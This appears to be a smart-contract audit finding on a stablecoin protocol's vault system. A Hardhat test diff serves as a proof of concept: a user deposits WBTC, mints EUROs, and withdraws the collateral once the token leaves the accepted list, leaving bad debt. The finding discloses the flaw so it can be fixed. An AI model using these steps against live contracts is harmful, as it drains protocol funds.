The Protocol allows users to borrow(mint) EUROs token by supplying any "whitelisted" ERC20 token or ETH as collateral.
But there is a design flaw in the "whitelisted token removal" logic: if Protocol removes a "whitelisted" token, any borrower using this token as collateral can freely withdraw it from the protocol, leaving the protocol in a bad debt.
The Protocol implements a "Collateralized Debt Position" (CDP) system, which allows users to create their own vaults, provide collateral in the form of ERC20 tokens (or ETH), and borrow(mint) EUROs token against their collateral.
Only limited set of "whitelisted" tokens allowed to be used by borrowers. Token whitelisting fully controlled by the Protocol. Tokens can be added, and later removed using removeAcceptedToken
function from the TokenManager
contract.
Basically, this logic allows anyone to withdraw deposited funds regardless of the debt position state, if the deposited token was removed from acceptedTokens
.
Potential conditions for token removal may include: compliance concerns, economical incentives, token upgrade, updating price feed for token, etc.
This effectively leaves the Protocol in bad debt, since withdrawn funds can't be recovered.
The following test case demonstrates how a user can deposit 10 WBTC to the vault, mint(borrow) X EUROs and withdraw their 10 WBTC after WBTC removed from acceptedTokens
, while keeping X EUROs.
@@ -1,10 +1,12 @@
const { ethers } = require('hardhat');
const { BigNumber } = ethers;
const { expect } = require('chai');
-const { DEFAULT_ETH_USD_PRICE, DEFAULT_EUR_USD_PRICE, DEFAULT_COLLATERAL_RATE, PROTOCOL_FEE_RATE, getCollateralOf, ETH, getNFTMetadataContract, fullyUpgradedSmartVaultManager } = require('./common');
+const { DEFAULT_ETH_USD_PRICE, DEFAULT_EUR_USD_PRICE, DEFAULT_COLLATERAL_RATE, PROTOCOL_FEE_RATE, getCollateralOf, ETH, getNFTMetadataContract, fullyUpgradedSmartVaultManager,
+ mockTokenManager
+} = require('./common');
const { HUNDRED_PC } = require('./common');
-let VaultManager, Vault, TokenManager, ClEthUsd, EUROs, SwapRouterMock, MockWeth, admin, user, otherUser, protocol;
+let VaultManager, Vault, TokenManager, ClEthUsd, EUROs, SwapRouterMock, MockWeth, admin, user, otherUser, protocol, WBTC;
describe('SmartVault', async () => {
beforeEach(async () => {
@@ -14,7 +16,9 @@
const ClEurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');
await ClEurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
- TokenManager = await (await ethers.getContractFactory('TokenManagerMock')).deploy(ETH, ClEthUsd.address);
+ const { TokenManager: _TokenManager, WBTC: _WBTC } = await mockTokenManager();
+ TokenManager = _TokenManager;
+ WBTC = _WBTC
const SmartVaultDeployer = await (await ethers.getContractFactory('SmartVaultDeployerV3')).deploy(ETH, ClEurUsd.address);
const SmartVaultIndex = await (await ethers.getContractFactory('SmartVaultIndex')).deploy();
const NFTMetadataGenerator = await (await getNFTMetadataContract()).deploy();
@@ -34,6 +38,82 @@
Vault = await ethers.getContractAt('SmartVaultV3', vaultAddress);
});
+ it.only('Allows to freely withdraw collateral if token removed from accepted tokens list', async () => {
+ // Define some constants
+ const WBTCdecimals = await WBTC.decimals();
+ const EUROsDecimals = await EUROs.decimals();
+ const WBTCcollateralValue = ethers.utils.parseUnits("10", WBTCdecimals);
+
+ // Create Eve, and mint some WBTC
+ const [ Eve ] = await ethers.getSigners();
+ await WBTC.mint(Eve.address, WBTCcollateralValue);
+
+ // Check current balances
+ let EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);
+ let EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);
+ let protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);
+ console.log(`\n> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);
+
+ // Eve mints new vault
+ console.log('\n~ Eve creates new SmartVault');
+ await VaultManager.connect(Eve).mint();
+ let vaultStatus = (await VaultManager.connect(Eve).vaults())[0].status;
+ const EveVault = await ethers.getContractAt('SmartVaultV3', vaultStatus.vaultAddress);
+
+ // Confirm proper vault setup
+ expect(await EveVault.owner()).to.equal(Eve.address);
+ console.log(`> Vault status: maxMintable(EUROs)=${ethers.utils.formatUnits(vaultStatus.maxMintable, EUROsDecimals)}, minted(EUROs)=${ethers.utils.formatUnits(vaultStatus.minted, EUROsDecimals)}, totalCollateralValue(EUROs)=${ethers.utils.formatUnits(vaultStatus.totalCollateralValue, EUROsDecimals)}`);
+
+ // Eve deposits collateral using standard ERC20 transfer function
+ console.log(`\n~ Eve deposits 10 WBTC as collateral to the vault`);
+ await WBTC.connect(Eve).transfer(EveVault.address, WBTCcollateralValue);
+
+ // Check current balances
+ EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);
+ EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);
+ protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);
+ console.log(`> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);
+
+ // Check vault status
+ vaultStatus = await EveVault.status();
+ console.log(`> Vault status: maxMintable(EUROs)=${ethers.utils.formatUnits(vaultStatus.maxMintable, EUROsDecimals)}, minted(EUROs)=${ethers.utils.formatUnits(vaultStatus.minted, EUROsDecimals)}, totalCollateralValue(EUROs)=${ethers.utils.formatUnits(vaultStatus.totalCollateralValue, EUROsDecimals)}`);
+
+ // Now Eve can borrow(mint) EUROs
+ console.log(`\n~ Eve mints all available EUROs`);
+ // Calculate the minting fee will be taken by the protocol
+ const maxMintFee = vaultStatus.maxMintable.mul(await VaultManager.mintFeeRate()).div(await VaultManager.HUNDRED_PC());
+ // Here we need to deduct the minting fee for "amount" parameter
+ const maxMintWithoutFee = vaultStatus.maxMintable.sub(maxMintFee);
+ await EveVault.connect(Eve).mint(Eve.address, maxMintWithoutFee);
+
+ // Check current balances
+ EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);
+ EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);
+ protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);
+ console.log(`> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);
+ // Check vault status
+ vaultStatus = await EveVault.status();
+ console.log(`> Vault status: maxMintable(EUROs)=${ethers.utils.formatUnits(vaultStatus.maxMintable, EUROsDecimals)}, minted(EUROs)=${ethers.utils.formatUnits(vaultStatus.minted, EUROsDecimals)}, totalCollateralValue(EUROs)=${ethers.utils.formatUnits(vaultStatus.totalCollateralValue, EUROsDecimals)}`);
+
+ // Protocol decides to remove WBTC from the tokens list
+ console.log(`\n~ Protocol removes WBTC token from the list of tokens accepted as collateral`);
+ await TokenManager.removeAcceptedToken(ethers.utils.formatBytes32String('WBTC'));
+
+ // Now, Eve can exploit the flaw by withdrawing her collateral!
+ console.log(`~ Eve withdraws her (WBTC) collateral`);
+ await EveVault.connect(Eve).removeAsset(WBTC.address, WBTCcollateralValue, Eve.address);
+
+ // Check the final state
+ vaultStatus = await EveVault.status();
+ EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);
+ EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);
+ protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);
+
+ console.log(`\n~ Final state after exploit`);
+ console.log(`> Vault status: maxMintable(EUROs)=${ethers.utils.formatUnits(vaultStatus.maxMintable, EUROsDecimals)}, minted(EUROs)=${ethers.utils.formatUnits(vaultStatus.minted, EUROsDecimals)}, totalCollateralValue(EUROs)=${ethers.utils.formatUnits(vaultStatus.totalCollateralValue, EUROsDecimals)}`);
+ console.log(`> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);
+ });
+
describe('ownership', async () => {
it('will not allow setting of new owner if not manager', async () => {
const ownerUpdate = Vault.connect(user).setOwner(otherUser.address);